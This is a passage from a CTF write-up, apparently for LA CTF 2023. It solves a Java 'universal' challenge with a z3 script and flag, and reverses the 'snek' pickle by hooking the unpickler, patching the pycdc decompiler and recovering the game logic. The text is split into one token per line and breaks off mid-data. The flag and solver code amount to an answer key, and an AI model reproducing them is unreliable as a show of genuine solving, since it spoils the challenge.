Page Menu
Home
desp's stash
Search
Configure Global Search
Log In
Files
F369141
lactf23.md
No One
Temporary
Actions
Download File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Flag For Later
Size
38 KB
Subscribers
None
lactf23.md
View Options
###
universal
box
standard
z3
chall
after
decompiling
the
class
into
java
its
always
pretty
nice
to
see
a
huge
if
statement
thats
a
telltale
sign
for
z3
*
i
love
regex
regex
lets
me
solve
this
in
2
mins
:)*
~~
still
too
slow
for
first
blood
tho
sadge
got
it
2
mins
after
coz
i
was
working
on
snek
and
didnt
realize
this
was
just
a
z3
chall
~~
`
lactf
{
1_
d0nt_see_3_b1ll10n_s0lv3s_y3t
}
`
real
```
py
from
z3
import
*
bytes
=
[
BitVec
(
f
'
byte
{
i
}
'
,
8
)
for
i
in
range
(
38
)]
s
=
Solver
()
s
.
add
(((
bytes
[
34
]
^
bytes
[
23
]
*
7
^
~
bytes
[
36
]
+
13
)
&
0xFF
)
==
0xB6
)
s
.
add
(((
bytes
[
37
]
^
bytes
[
10
]
*
7
^
~
bytes
[
21
]
+
13
)
&
0xFF
)
==
0xDF
)
s
.
add
(((
bytes
[
24
]
^
bytes
[
23
]
*
7
^
~
bytes
[
19
]
+
13
)
&
0xFF
)
==
0xCD
)
s
.
add
(((
bytes
[
25
]
^
bytes
[
13
]
*
7
^
~
bytes
[
23
]
+
13
)
&
0xFF
)
==
0x90
)
s
.
add
(((
bytes
[
6
]
^
bytes
[
27
]
*
7
^
~
bytes
[
25
]
+
13
)
&
0xFF
)
==
0x8A
)
s
.
add
(((
bytes
[
4
]
^
bytes
[
32
]
*
7
^
~
bytes
[
22
]
+
13
)
&
0xFF
)
==
0xE3
)
s
.
add
(((
bytes
[
25
]
^
bytes
[
19
]
*
7
^
~
bytes
[
1
]
+
13
)
&
0xFF
)
==
0x6B
)
s
.
add
(((
bytes
[
22
]
^
bytes
[
7
]
*
7
^
~
bytes
[
29
]
+
13
)
&
0xFF
)
==
0x55
)
s
.
add
(((
bytes
[
15
]
^
bytes
[
10
]
*
7
^
~
bytes
[
20
]
+
13
)
&
0xFF
)
==
0xBC
)
s
.
add
(((
bytes
[
29
]
^
bytes
[
16
]
*
7
^
~
bytes
[
12
]
+
13
)
&
0xFF
)
==
0x58
)
s
.
add
(((
bytes
[
35
]
^
bytes
[
4
]
*
7
^
~
bytes
[
33
]
+
13
)
&
0xFF
)
==
0x54
)
s
.
add
(((
bytes
[
36
]
^
bytes
[
2
]
*
7
^
~
bytes
[
4
]
+
13
)
&
0xFF
)
==
0x67
)
s
.
add
(((
bytes
[
26
]
^
bytes
[
3
]
*
7
^
~
bytes
[
1
]
+
13
)
&
0xFF
)
==
0xD8
)
s
.
add
(((
bytes
[
12
]
^
bytes
[
6
]
*
7
^
~
bytes
[
18
]
+
13
)
&
0xFF
)
==
0xA5
)
s
.
add
(((
bytes
[
12
]
^
bytes
[
28
]
*
7
^
~
bytes
[
36
]
+
13
)
&
0xFF
)
==
0x97
)
s
.
add
(((
bytes
[
20
]
^
bytes
[
0
]
*
7
^
~
bytes
[
21
]
+
13
)
&
0xFF
)
==
0x65
)
s
.
add
(((
bytes
[
27
]
^
bytes
[
36
]
*
7
^
~
bytes
[
14
]
+
13
)
&
0xFF
)
==
0xF8
)
s
.
add
(((
bytes
[
35
]
^
bytes
[
2
]
*
7
^
~
bytes
[
19
]
+
13
)
&
0xFF
)
==
0x2C
)
s
.
add
(((
bytes
[
13
]
^
bytes
[
11
]
*
7
^
~
bytes
[
33
]
+
13
)
&
0xFF
)
==
0xF2
)
s
.
add
(((
bytes
[
33
]
^
bytes
[
11
]
*
7
^
~
bytes
[
3
]
+
13
)
&
0xFF
)
==
0xEB
)
s
.
add
(((
bytes
[
31
]
^
bytes
[
37
]
*
7
^
~
bytes
[
29
]
+
13
)
&
0xFF
)
==
0xF8
)
s
.
add
(((
bytes
[
1
]
^
bytes
[
33
]
*
7
^
~
bytes
[
31
]
+
13
)
&
0xFF
)
==
0x21
)
s
.
add
(((
bytes
[
34
]
^
bytes
[
22
]
*
7
^
~
bytes
[
35
]
+
13
)
&
0xFF
)
==
0x54
)
s
.
add
(((
bytes
[
36
]
^
bytes
[
16
]
*
7
^
~
bytes
[
4
]
+
13
)
&
0xFF
)
==
0x4B
)
s
.
add
(((
bytes
[
8
]
^
bytes
[
3
]
*
7
^
~
bytes
[
10
]
+
13
)
&
0xFF
)
==
0xD6
)
s
.
add
(((
bytes
[
20
]
^
bytes
[
5
]
*
7
^
~
bytes
[
12
]
+
13
)
&
0xFF
)
==
0xC1
)
s
.
add
(((
bytes
[
28
]
^
bytes
[
34
]
*
7
^
~
bytes
[
16
]
+
13
)
&
0xFF
)
==
0xD2
)
s
.
add
(((
bytes
[
3
]
^
bytes
[
35
]
*
7
^
~
bytes
[
9
]
+
13
)
&
0xFF
)
==
0xCD
)
s
.
add
(((
bytes
[
27
]
^
bytes
[
22
]
*
7
^
~
bytes
[
2
]
+
13
)
&
0xFF
)
==
0x2E
)
s
.
add
(((
bytes
[
27
]
^
bytes
[
18
]
*
7
^
~
bytes
[
9
]
+
13
)
&
0xFF
)
==
0x36
)
s
.
add
(((
bytes
[
3
]
^
bytes
[
29
]
*
7
^
~
bytes
[
22
]
+
13
)
&
0xFF
)
==
0x20
)
s
.
add
(((
bytes
[
24
]
^
bytes
[
4
]
*
7
^
~
bytes
[
13
]
+
13
)
&
0xFF
)
==
0x63
)
s
.
add
(((
bytes
[
22
]
^
bytes
[
16
]
*
7
^
~
bytes
[
13
]
+
13
)
&
0xFF
)
==
0x6C
)
s
.
add
(((
bytes
[
12
]
^
bytes
[
8
]
*
7
^
~
bytes
[
30
]
+
13
)
&
0xFF
)
==
0x75
)
s
.
add
(((
bytes
[
25
]
^
bytes
[
27
]
*
7
^
~
bytes
[
35
]
+
13
)
&
0xFF
)
==
0x92
)
s
.
add
(((
bytes
[
16
]
^
bytes
[
10
]
*
7
^
~
bytes
[
14
]
+
13
)
&
0xFF
)
==
0xFA
)
s
.
add
(((
bytes
[
21
]
^
bytes
[
25
]
*
7
^
~
bytes
[
12
]
+
13
)
&
0xFF
)
==
0xC3
)
s
.
add
(((
bytes
[
26
]
^
bytes
[
10
]
*
7
^
~
bytes
[
30
]
+
13
)
&
0xFF
)
==
0xCB
)
s
.
add
(((
bytes
[
20
]
^
bytes
[
2
]
*
7
^
~
bytes
[
1
]
+
13
)
&
0xFF
)
==
0x2F
)
s
.
add
(((
bytes
[
34
]
^
bytes
[
12
]
*
7
^
~
bytes
[
27
]
+
13
)
&
0xFF
)
==
0x79
)
s
.
add
(((
bytes
[
19
]
^
bytes
[
34
]
*
7
^
~
bytes
[
20
]
+
13
)
&
0xFF
)
==
0xF6
)
s
.
add
(((
bytes
[
25
]
^
bytes
[
22
]
*
7
^
~
bytes
[
14
]
+
13
)
&
0xFF
)
==
0x3D
)
s
.
add
(((
bytes
[
19
]
^
bytes
[
28
]
*
7
^
~
bytes
[
37
]
+
13
)
&
0xFF
)
==
0xBD
)
s
.
add
(((
bytes
[
24
]
^
bytes
[
9
]
*
7
^
~
bytes
[
17
]
+
13
)
&
0xFF
)
==
0xB9
)
for
b
in
bytes
:
s
.
add
(
b
>=
0x20
)
s
.
add
(
b
<=
0x7F
)
s
.
check
()
model
=
s
.
model
()
for
i
in
bytes
:
if
str
(
model
[
i
])
!=
'
None
'
:
print
(
chr
(
int
(
str
(
model
[
i
]))),
end
=
''
)
```
###
snek
ngl
this
was
kinda
fun
i
get
to
use
my
niche
pickling
knowledge
from
kevin
higgs
revenge
in
gdg
lmao
~~
though
it
ended
up
being
me
just
dumping
the
code
and
not
actually
reversing
the
pickle
anyway
~~
since
we
are
given
a
blob
thats
very
clearly
a
pickle
coz
of
the
`
#!
py
__import__
(
'
pickle
'
).
loads
`
,
ofc
the
first
thing
to
do
is
to
`
#!
py
import
pickletools
;
pickletools
.
dis
`
it
and
holy
thats
a
huge
pickle
we
can
clearly
see
that
the
top
part
is
a
character
mapping
though
which
is
utilized
through
`
MEMOIZE
`
and
`
GET
`
and
`
#!
py
builtins
.
str
.
join
`
so
with
a
bit
of
~~
scuffed
~~
parsing
we
can
extract
the
mapping
:
```
py
import
pickletools
,
io
,
re
data
=
io
.
StringIO
()
#
blob
omitted
since
its
way
too
big
to
paste
here
pickletools
.
dis
(
blob
,
out
=
data
)
data
=
data
.
getvalue
().
split
(
'\n'
)
alph
=
""
for
i
,
line
in
enumerate
(
data
):
if
'
MEMOIZE
'
in
line
and
'
BINUNICODE
'
in
data
[
i
-
1
]:
alph
+=
eval
(
data
[
i
-
1
].
split
(
'
BINUNICODE
'
)[
1
])
print
(
alph
.
encode
())
```
and
with
the
mapping
we
can
extract
a
lot
of
data
on
what
is
being
called
and
whatnot
~~
through
another
scuffed
af
parser
~~:
```
py
currstr
=
""
for
i
,
line
in
enumerate
(
data
):
if
'
GET
'
in
line
:
currstr
+=
alph
[
int
(
line
[
line
.
index
(
'
GET
'
)
+
len
(
'
GET
'
):])]
elif
'
REDUCE
'
in
line
and
'
LIST
'
not
in
data
[
i
-
2
]
and
'
GET
'
not
in
data
[
i
-
3
]:
print
(
'
CALL
ABOVE
'
)
elif
'
STACK_GLOBAL
'
in
line
:
print
(
'
GET
OBJ
'
)
elif
'
BINBYTES
'
in
line
:
print
(
'
ARG
BYTES
'
)
else
:
if
currstr
:
print
(
currstr
)
currstr
=
""
```
which
tells
roughly
what
strings
should
be
treated
as
an
object
and
whats
being
called
on
what
looking
at
the
strings
in
a
stack
based
mindset
and
referring
back
to
the
pickle
its
not
too
hard
to
realize
what
the
`
BINBYTES
`
blobs
inside
the
pickle
are
:
<
div
class
=
"table-responsive"
>
<
table
class
=
"w-100"
>
<
tr
>
<
td
class
=
"p-2 w-100"
>
```
builtins
bytes
GET
OBJ
builtins
map
GET
OBJ
functools
partial
GET
OBJ
operator
and_
GET
OBJ
CALL
ABOVE
itertools
starmap
GET
OBJ
operator
xor
GET
OBJ
builtins
enumerate
GET
OBJ
ARG
BYTES
CALL
ABOVE
CALL
ABOVE
CALL
ABOVE
CALL
ABOVE
```
</
td
>
<
td
class
=
"p-2 w-100"
>
→
</
td
>
<
td
class
=
"p-2 w-100"
>
```
py
import
itertools
,
operator
,
functools
byte1
=
bytes
(
map
(
functools
.
partial
(
operator
.
and_
,
255
),
itertools
.
starmap
(
operator
.
xor
,
enumerate
(
byte1
))))
import
dis
dis
.
dis
(
byte1
)
```
</
td
>
</
tr
>
<
tr
>
<
td
class
=
"p-2 w-100"
>
```
pickle
loads
builtins
bytes
builtins
reversed
ARG
BYTES
CALL
ABOVE
CALL
ABOVE
CALL
ABOVE
```
</
td
>
<
td
class
=
"p-2 w-100"
>
→
</
td
>
<
td
class
=
"p-2 w-100"
>
```
py
byte2
=
byte2
[::-
1
]
pickletools
.
dis
(
byte2
)
```
</
td
>
</
tr
>
</
table
>
</
div
>
which
yields
us
one
bytecode
blob
and
one
pickle
blob
,
both
perfectly
disassemblable
but
looking
at
the
disassemblies
,
we
see
another
spam
of
things
like
:
```
text
369
:
\
x94
MEMOIZE
(
as
56
)
370
:
K
BININT1
17
372
:
K
BININT1
3
374
:
\
x86
TUPLE2
375
:
\
x94
MEMOIZE
(
as
57
)
376
:
K
BININT1
17
378
:
K
BININT1
9
```
and
some
bytecode
that
i
didnt
really
wanna
read
through
which
also
cant
be
decompiled
since
i
dont
have
the
data
for
co_names
and
all
that
yet
if
i
really
wanna
make
it
decompilable
,
ill
probably
have
to
reverse
the
rest
of
the
main
pickle
which
seems
to
grab
a
reference
of
the
code
object
class
,
instantiate
it
with
a
lot
of
weird
stuff
(
namely
just
`
snek
`
s
everywhere
),
and
setting
that
to
`
#!
py
pickle
.
encode_long
.
__code__
`
which
i
honestly
wasnt
too
keen
on
making
another
parser
for
but
its
also
at
this
point
where
i
saw
the
single
`
BUILD
`
call
,
and
i
figured
since
they
are
calling
the
function
here
anyway
why
dont
i
just
hook
the
`
BUILD
`
opcode
handler
and
just
dump
the
fully
built
code
object
which
is
surprisingly
straightforward
if
we
copy
the
handler
from
src
and
call
unpickler
directly
```
py
import
pickle
,
importlib
def
load_build
(
self
):
stack
=
self
.
stack
state
=
stack
.
pop
()
with
open
(
'
testsnek
.
pyc
'
,
'
wb
'
)
as
w
:
code
=
state
[
1
][
'
__code__
'
].
replace
(
co_varnames
=
tuple
([
v
+
str
(
i
)
for
i
,
v
in
enumerate
(
state
[
1
][
'
__code__
'
].
co_varnames
)]))
print
(
code
.
co_consts
)
w
.
write
(
importlib
.
_bootstrap_external
.
_code_to_timestamp_pyc
(
code
))
#
https
:
//stackoverflow.com/questions/73439775/how-to-convert-marshall-code-object-to-pyc-file
inst
=
stack
[-
1
]
setstate
=
getattr
(
inst
,
"__setstate__"
,
None
)
if
setstate
is
not
None
:
setstate
(
state
)
return
slotstate
=
None
if
isinstance
(
state
,
tuple
)
and
len
(
state
)
==
2
:
state
,
slotstate
=
state
if
state
:
inst_dict
=
inst
.
__dict__
intern
=
sys
.
intern
for
k
,
v
in
state
.
items
():
if
type
(
k
)
is
str
:
inst_dict
[
intern
(
k
)]
=
v
else
:
inst_dict
[
k
]
=
v
if
slotstate
:
for
k
,
v
in
slotstate
.
items
():
setattr
(
inst
,
k
,
v
)
pickle
.
_Unpickler
.
dispatch
[
pickle
.
BUILD
[
0
]]
=
load_build
#
once
again
skipping
the
blob
s
=
blob
import
io
pickle
.
_Unpickler
(
io
.
BytesIO
(
s
),
fix_imports
=
True
,
encoding
=
"ASCII"
,
errors
=
"strict"
,
buffers
=
None
).
load
()
```
(
the
`
#!
py
[
v
+
str
(
i
)
for
i
,
v
in
enumerate
(
state
[
1
][
'
__code__
'
].
co_varnames
)]
`
is
for
replacing
the
variables
names
which
are
all
`
snek
`
that
somehow
works
in
code
objects
(
coz
presumably
the
variable
name
parsing
stage
is
by
the
compiler
i
guess
)
but
is
just
hard
to
read
during
decomp
)
now
that
we
got
the
pyc
file
,
we
can
just
run
something
like
`
pycdc
testsnek
.
pyc
`
:
```
#
Source
Generated
with
Decompyle
++
#
File
:
testsnek
.
pyc
(
Python
3.10
)
Unsupported
opcode
:
BUILD_SET
import
pickle
as
snek
snek
.
encode_long
.
__code__
=
snek
.
encode_long
.
__code__
import
time
as
snek
snek
=
deque
import
collections
snek
=
20
snek
=
0x1C5CF1CC586592A8151C3C3A5
L
#
WARNING
:
Decompyle
incomplete
```
oh
right
i
forgot
nothing
really
decompiles
3.10
yet
:
sob
:
time
to
do
the
same
thing
i
did
in
nahamcon
for
`
brainmelt
`
and
patch
`
ASTree
.
cpp
`
:
```
diff
diff
--
git
a
/
ASTree
.
cpp
b
/
ASTree
.
cpp
index
1
c283a1
..
da9ab9a
100644
---
a
/
ASTree
.
cpp
+++
b
/
ASTree
.
cpp
@@
-
453
,
6
+
453
,
7
@@
PycRef
<
ASTNode
>
BuildFromCode
(
PycRef
<
PycCode
>
code
,
PycModule
*
mod
)
stack
.
push
(
new
ASTJoinedStr
(
values
));
}
break
;
+
case
Pyc
::
BUILD_SET_A
:
case
Pyc
::
BUILD_TUPLE_A
:
{
ASTTuple
::
value_t
values
;
@@
-
1547
,
6
+
1548
,
55
@@
PycRef
<
ASTNode
>
BuildFromCode
(
PycRef
<
PycCode
>
code
,
PycModule
*
mod
)
}
}
break
;
+
case
Pyc
::
SET_UPDATE_A
:
//TODO
+
{
+
PycRef
<
ASTNode
>
rhs
=
stack
.
top
();
+
stack
.
pop
();
+
PycRef
<
ASTNode
>
lhs
=
stack
.
top
().
cast
<
ASTNode
>();
+
stack
.
pop
();
+
+
if
(
rhs
.
type
()
!=
ASTNode
::
NODE_OBJECT
)
{
+
fprintf
(
stderr
,
"Unsupported argument found for LIST_EXTEND\n"
);
+
break
;
+
}
+
+
// I've only ever seen this be a SMALL_TUPLE, but let's be careful...
+
PycRef
<
PycObject
>
obj
=
rhs
.
cast
<
ASTObject
>()->
object
();
+
ASTList
::
value_t
result
=
ASTList
::
value_t
();
+
if
(
obj
->
type
()
!=
PycObject
::
TYPE_TUPLE
&&
obj
->
type
()
!=
PycObject
::
TYPE_SMALL_TUPLE
)
{
+
printf
(
"%c\n"
,
obj
->
type
());
+
// fprintf(stderr, "Unsupported argument type found for LIST_EXTEND\n");
+
+
//for frozensets
+
if
(
obj
->
type
()
==
PycObject
::
TYPE_LIST
)
{
+
for
(
const
auto
&
it
:
lhs
.
cast
<
PycList
>()->
values
())
{
+
result
.
push_back
(
new
ASTObject
(
it
));
+
}
+
}
else
if
(
obj
->
type
()
==
PycObject
::
TYPE_SET
)
{
+
for
(
const
auto
&
it
:
lhs
.
cast
<
PycSet
>()->
values
())
{
+
result
.
push_back
(
new
ASTObject
(
it
));
+
}
+
}
+
+
}
else
{
+
//for tuples
+
for
(
const
auto
&
it
:
lhs
.
cast
<
PycSet
>()->
values
())
{
+
result
.
push_back
(
new
ASTObject
(
it
));
+
}
+
}
+
+
stack
.
push
(
new
ASTList
(
result
));
+
}
+
break
;
case
Pyc
::
LIST_EXTEND_A
:
{
PycRef
<
ASTNode
>
rhs
=
stack
.
top
();
```
and
yes
in
case
you
are
wondering
i
basically
just
copied
the
code
from
other
opcode
handlers
coz
all
i
need
is
for
it
to
pass
and
create
a
good
looking
enough
decomp
lmao
doesnt
have
to
be
accurate
coz
ill
have
to
clean
it
up
anyway
running
it
again
yields
us
a
way
better
decomp
:
```
py
import
pickle
as
snek0
snek0
.
encode_long
.
__code__
=
snek0
.
encode_long
.
__code__
import
time
as
snek1
snek2
=
deque
import
collections
snek3
=
20
snek4
=
0x1C5CF1CC586592A8151C3C3A5
L
snek5
=
[
[],
[],
[],
[],
[],
[],
[],
[],
[],
[]]
snek6
=
snek2
([
(
0
,
0
)])
snek7
=
(
1
,
0
)
snek8
=
0
snek9
=
snek2
([])
snek10
=
[]
snek11
=
''
for
snek12
in
range
(
snek3
):
snek13
=
''
for
snek14
in
range
(
snek3
):
if
(
snek12
,
snek14
)
in
snek6
:
snek13
+=
'#'
continue
if
(
snek12
,
snek14
)
in
snek5
[
snek8
]:
snek13
+=
'o'
continue
snek13
+=
'.'
snek11
+=
snek13
+
'\n'
print
(
snek11
,
True
,
**(
'
flush
'
,))
if
len
(
snek9
)
>
0
:
snek15
=
snek9
.
popleft
()
if
isinstance
(
snek15
,
int
)
or
snek15
.
isdigit
():
snek15
=
int
(
snek15
)
snek15
-=
1
if
snek15
>
0
:
snek9
.
appendleft
(
snek15
)
snek16
=
snek6
[
0
]
snek17
=
(
snek16
[
0
]
+
snek7
[
0
],
snek16
[
1
]
+
snek7
[
1
])
if
snek17
[
0
]
<
0
and
snek17
[
0
]
>=
snek3
and
snek17
[
1
]
<
0
or
snek17
[
1
]
>=
snek3
:
print
(
'
snek
dead
:(
'
)
return
None
None
.
appendleft
(
snek17
)
if
snek17
in
snek5
[
snek8
]:
snek8
+=
1
snek10
.
append
(
snek17
)
if
snek8
==
len
(
snek5
):
snek18
=
0
for
snek19
,
snek20
in
snek10
:
snek18
^=
1337
snek18
*=
snek3
**
2
snek18
+=
snek19
*
snek3
+
snek20
if
snek4
==
snek18
:
print
(
'
snek
happy
:
D
'
)
print
(
open
(
'
flag
.
txt
'
,
'r'
).
read
().
strip
())
return
None
None
(
'
snek
sad
:(
'
)
return
None
snek6
.
pop
()
elif
snek15
==
'L'
:
snek7
=
(-
snek7
[
1
],
snek7
[
0
])
elif
snek15
==
'R'
:
snek7
=
(
snek7
[
1
],
-
snek7
[
0
])
else
:
print
(
'
snek
confused
:(
'
)
return
None
None
.
sleep
(
0.1
)
else
:
snek9
.
extend
(
input
(
'
snek
?
'
).
strip
().
split
())
continue
```
though
its
clear
that
my
code
didnt
deal
with
frozensets
as
well
as
i
hoped
LMAO
but
then
again
we
can
see
`
snek5
`
has
the
same
length
as
the
frozensets
list
in
`
co_consts
`
so
we
can
just
sub
it
in
along
with
fixing
some
clearly
broken
code
like
`
#!
py
None
.
sleep
(
0.1
)
`
and
some
renaming
we
finally
can
get
a
runnable
decomp
and
a
pretty
good
understanding
on
what
its
doing
:
```
py
import
pickle
as
snek0
snek0
.
encode_long
.
__code__
=
snek0
.
encode_long
.
__code__
import
time
import
collections
as
snek2
snek2
=
snek2
.
deque
bound
=
20
final
=
0x1C5CF1CC586592A8151C3C3A5
data
=
[
frozenset
({(
6
,
12
),
(
3
,
4
),
(
4
,
9
),
(
19
,
6
),
(
9
,
5
),
(
14
,
19
),
(
5
,
16
),
(
19
,
9
),
(
10
,
0
),
(
8
,
6
),
(
8
,
9
),
(
10
,
9
),
(
17
,
12
),
(
8
,
3
),
(
1
,
3
),
(
16
,
7
),
(
7
,
7
),
(
14
,
9
),
(
17
,
5
),
(
14
,
12
),
(
4
,
11
),
(
5
,
12
),
(
8
,
11
),
(
19
,
8
),
(
8
,
14
),
(
19
,
14
),
(
9
,
16
),
(
0
,
16
),
(
11
,
16
),
(
16
,
3
),
(
18
,
12
),
(
16
,
18
),
(
7
,
18
),
(
4
,
7
),
(
4
,
1
),
(
4
,
4
),
(
4
,
16
),
(
5
,
5
),
(
8
,
4
),
(
17
,
1
),
(
19
,
1
),
(
11
,
0
),
(
14
,
17
),
(
0
,
6
),
(
16
,
2
),
(
1
,
13
),
(
2
,
15
),
(
18
,
5
),
(
15
,
12
),
(
16
,
11
)}),
frozenset
({(
6
,
18
),
(
6
,
15
),
(
17
,
3
),
(
5
,
1
),
(
17
,
9
),
(
14
,
13
),
(
5
,
10
),
(
8
,
9
),
(
14
,
19
),
(
11
,
5
),
(
10
,
9
),
(
9
,
11
),
(
8
,
15
),
(
2
,
5
),
(
1
,
18
),
(
12
,
3
),
(
14
,
6
),
(
15
,
9
),
(
14
,
9
),
(
3
,
9
),
(
5
,
3
),
(
17
,
11
),
(
4
,
11
),
(
5
,
15
),
(
8
,
14
),
(
11
,
10
),
(
2
,
7
),
(
9
,
19
),
(
2
,
13
),
(
6
,
7
),
(
18
,
6
),
(
6
,
3
),
(
14
,
2
),
(
5
,
2
),
(
12
,
17
),
(
3
,
8
),
(
3
,
17
),
(
17
,
10
),
(
17
,
16
),
(
0
,
3
),
(
2
,
0
),
(
17
,
19
),
(
8
,
13
),
(
2
,
9
),
(
10
,
16
),
(
15
,
0
),
(
13
,
3
),
(
1
,
16
),
(
13
,
15
),
(
18
,
11
)}),
frozenset
({(
18
,
17
),
(
7
,
17
),
(
3
,
1
),
(
3
,
10
),
(
3
,
16
),
(
5
,
13
),
(
5
,
1
),
(
8
,
3
),
(
8
,
18
),
(
1
,
12
),
(
6
,
2
),
(
16
,
16
),
(
15
,
17
),
(
6
,
17
),
(
14
,
0
),
(
17
,
2
),
(
14
,
9
),
(
5
,
3
),
(
9
,
1
),
(
17
,
14
),
(
8
,
11
),
(
8
,
5
),
(
10
,
5
),
(
8
,
17
),
(
2
,
7
),
(
15
,
4
),
(
13
,
1
),
(
1
,
5
),
(
0
,
13
),
(
19
,
17
),
(
7
,
9
),
(
6
,
13
),
(
12
,
8
),
(
17
,
7
),
(
4
,
13
),
(
19
,
1
),
(
9
,
9
),
(
14
,
17
),
(
5
,
14
),
(
5
,
17
),
(
11
,
9
),
(
10
,
7
),
(
10
,
1
),
(
9
,
15
),
(
0
,
12
),
(
0
,
15
),
(
10
,
19
),
(
18
,
2
),
(
16
,
11
),
(
15
,
15
)}),
frozenset
({(
3
,
4
),
(
14
,
4
),
(
12
,
10
),
(
3
,
7
),
(
4
,
6
),
(
5
,
7
),
(
19
,
6
),
(
4
,
15
),
(
19
,
3
),
(
0
,
5
),
(
0
,
8
),
(
11
,
17
),
(
2
,
8
),
(
15
,
17
),
(
7
,
13
),
(
3
,
0
),
(
4
,
5
),
(
14
,
3
),
(
14
,
18
),
(
3
,
18
),
(
12
,
18
),
(
3
,
15
),
(
19
,
5
),
(
8
,
11
),
(
19
,
11
),
(
0
,
10
),
(
11
,
10
),
(
13
,
7
),
(
10
,
8
),
(
0
,
13
),
(
2
,
16
),
(
15
,
10
),
(
7
,
9
),
(
7
,
6
),
(
16
,
18
),
(
12
,
5
),
(
4
,
4
),
(
4
,
16
),
(
4
,
19
),
(
19
,
1
),
(
17
,
16
),
(
19
,
7
),
(
9
,
12
),
(
11
,
12
),
(
0
,
12
),
(
13
,
6
),
(
7
,
2
),
(
18
,
2
),
(
13
,
15
),
(
15
,
12
)}),
frozenset
({(
8
,
0
),
(
5
,
13
),
(
0
,
2
),
(
19
,
3
),
(
10
,
0
),
(
9
,
8
),
(
2
,
2
),
(
9
,
17
),
(
0
,
8
),
(
11
,
8
),
(
10
,
15
),
(
7
,
4
),
(
7
,
1
),
(
16
,
10
),
(
15
,
14
),
(
6
,
8
),
(
15
,
17
),
(
18
,
13
),
(
12
,
3
),
(
3
,
6
),
(
17
,
11
),
(
4
,
17
),
(
9
,
7
),
(
5
,
12
),
(
0
,
4
),
(
11
,
13
),
(
0
,
19
),
(
15
,
13
),
(
16
,
6
),
(
18
,
12
),
(
6
,
10
),
(
16
,
18
),
(
12
,
11
),
(
7
,
18
),
(
17
,
4
),
(
3
,
11
),
(
3
,
14
),
(
4
,
19
),
(
0
,
3
),
(
17
,
19
),
(
13
,
0
),
(
5
,
17
),
(
2
,
3
),
(
11
,
18
),
(
9
,
18
),
(
15
,
6
),
(
1
,
13
),
(
1
,
10
),
(
0
,
18
),
(
16
,
17
)}),
frozenset
({(
4
,
6
),
(
4
,
12
),
(
9
,
2
),
(
3
,
10
),
(
17
,
6
),
(
17
,
12
),
(
11
,
2
),
(
9
,
8
),
(
9
,
14
),
(
10
,
3
),
(
9
,
17
),
(
17
,
18
),
(
2
,
11
),
(
0
,
11
),
(
15
,
8
),
(
12
,
6
),
(
4
,
5
),
(
3
,
6
),
(
3
,
12
),
(
19
,
11
),
(
9
,
10
),
(
19
,
14
),
(
8
,
17
),
(
15
,
4
),
(
11
,
13
),
(
2
,
10
),
(
10
,
17
),
(
1
,
14
),
(
16
,
6
),
(
15
,
10
),
(
6
,
13
),
(
15
,
19
),
(
6
,
16
),
(
16
,
18
),
(
12
,
5
),
(
3
,
2
),
(
17
,
4
),
(
4
,
16
),
(
17
,
1
),
(
3
,
8
),
(
3
,
17
),
(
8
,
7
),
(
1
,
1
),
(
9
,
12
),
(
11
,
9
),
(
19
,
10
),
(
2
,
0
),
(
2
,
6
),
(
7
,
11
),
(
15
,
18
)}),
frozenset
({(
4
,
0
),
(
12
,
7
),
(
3
,
4
),
(
14
,
7
),
(
19
,
0
),
(
19
,
6
),
(
4
,
15
),
(
3
,
19
),
(
10
,
0
),
(
14
,
19
),
(
9
,
14
),
(
13
,
11
),
(
18
,
1
),
(
1
,
15
),
(
12
,
3
),
(
14
,
6
),
(
4
,
5
),
(
4
,
14
),
(
3
,
12
),
(
19
,
2
),
(
9
,
1
),
(
11
,
1
),
(
8
,
14
),
(
19
,
14
),
(
2
,
7
),
(
0
,
13
),
(
0
,
19
),
(
11
,
19
),
(
1
,
14
),
(
13
,
16
),
(
13
,
13
),
(
16
,
12
),
(
15
,
19
),
(
6
,
19
),
(
5
,
2
),
(
3
,
8
),
(
5
,
5
),
(
19
,
4
),
(
8
,
4
),
(
3
,
14
),
(
19
,
7
),
(
19
,
10
),
(
1
,
4
),
(
8
,
13
),
(
16
,
2
),
(
13
,
6
),
(
7
,
2
),
(
0
,
18
),
(
6
,
3
),
(
16
,
11
)}),
frozenset
({(
7
,
17
),
(
9
,
5
),
(
0
,
2
),
(
10
,
0
),
(
14
,
13
),
(
9
,
14
),
(
13
,
2
),
(
9
,
11
),
(
19
,
18
),
(
8
,
18
),
(
16
,
4
),
(
1
,
9
),
(
16
,
7
),
(
13
,
8
),
(
15
,
11
),
(
1
,
18
),
(
2
,
17
),
(
13
,
17
),
(
15
,
14
),
(
7
,
13
),
(
4
,
2
),
(
12
,
15
),
(
4
,
11
),
(
19
,
11
),
(
17
,
17
),
(
11
,
10
),
(
19
,
17
),
(
8
,
17
),
(
1
,
11
),
(
11
,
13
),
(
0
,
19
),
(
13
,
16
),
(
6
,
7
),
(
6
,
13
),
(
16
,
18
),
(
7
,
18
),
(
17
,
4
),
(
19
,
4
),
(
4
,
13
),
(
4
,
19
),
(
14
,
17
),
(
10
,
4
),
(
13
,
3
),
(
15
,
6
),
(
9
,
18
),
(
2
,
6
),
(
2
,
15
),
(
16
,
14
),
(
7
,
11
),
(
7
,
8
)}),
frozenset
({(
6
,
18
),
(
7
,
17
),
(
14
,
4
),
(
7
,
5
),
(
14
,
1
),
(
5
,
16
),
(
10
,
6
),
(
0
,
17
),
(
10
,
15
),
(
16
,
7
),
(
13
,
14
),
(
6
,
5
),
(
16
,
13
),
(
18
,
19
),
(
14
,
6
),
(
4
,
14
),
(
17
,
5
),
(
8
,
2
),
(
8
,
5
),
(
5
,
18
),
(
5
,
12
),
(
19
,
8
),
(
11
,
7
),
(
13
,
4
),
(
0
,
16
),
(
13
,
10
),
(
15
,
7
),
(
18
,
0
),
(
16
,
6
),
(
16
,
12
),
(
15
,
10
),
(
6
,
13
),
(
16
,
15
),
(
15
,
19
),
(
16
,
18
),
(
14
,
2
),
(
12
,
11
),
(
9
,
0
),
(
17
,
7
),
(
19
,
7
),
(
17
,
13
),
(
0
,
9
),
(
5
,
17
),
(
15
,
0
),
(
2
,
6
),
(
16
,
5
),
(
1
,
10
),
(
18
,
5
),
(
16
,
17
),
(
7
,
14
)}),
frozenset
({(
12
,
7
),
(
3
,
1
),
(
12
,
19
),
(
3
,
10
),
(
9
,
5
),
(
8
,
3
),
(
10
,
0
),
(
3
,
19
),
(
17
,
6
),
(
9
,
14
),
(
5
,
19
),
(
10
,
3
),
(
17
,
18
),
(
11
,
14
),
(
2
,
11
),
(
2
,
8
),
